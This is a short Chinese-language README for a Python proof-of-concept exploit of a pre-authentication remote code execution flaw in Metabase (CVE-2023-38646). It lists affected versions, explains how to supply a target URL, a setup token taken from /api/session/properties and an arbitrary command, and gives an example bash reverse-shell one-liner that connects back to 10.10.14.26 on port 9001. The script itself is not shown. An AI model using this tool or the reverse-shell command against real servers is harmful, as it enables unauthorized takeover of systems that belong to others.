Metabase 预认证 RCE (CVE-2023-38646) POC

这是一个Python脚本，利用Metabase登录软件的远程代码执行漏洞。它允许我们在认证之前，在服务器上执行任意命令。

受影响版本：Metabase开源版 0.46.6.1 之前，以及 Metabase Enterprise 1.46.6.1 之前。

用法

python3 exploit.py -u URL -t TOKEN -c COMMAND

参数

-h, --help            显示此帮助信息并退出
-u URL, --url URL     目标URL
-t TOKEN, --token TOKEN
                      在 /api/session/properties 中发现的 Setup-Token
-c COMMAND, --command COMMAND
                      要在目标主机上执行的命令

示例

使用的命令：bash -i >& /dev/tcp/10.10.14.26/9001 0>&1

参考资料

连锁利用实现 Metabase 预认证 RCE (CVE-2023-38646)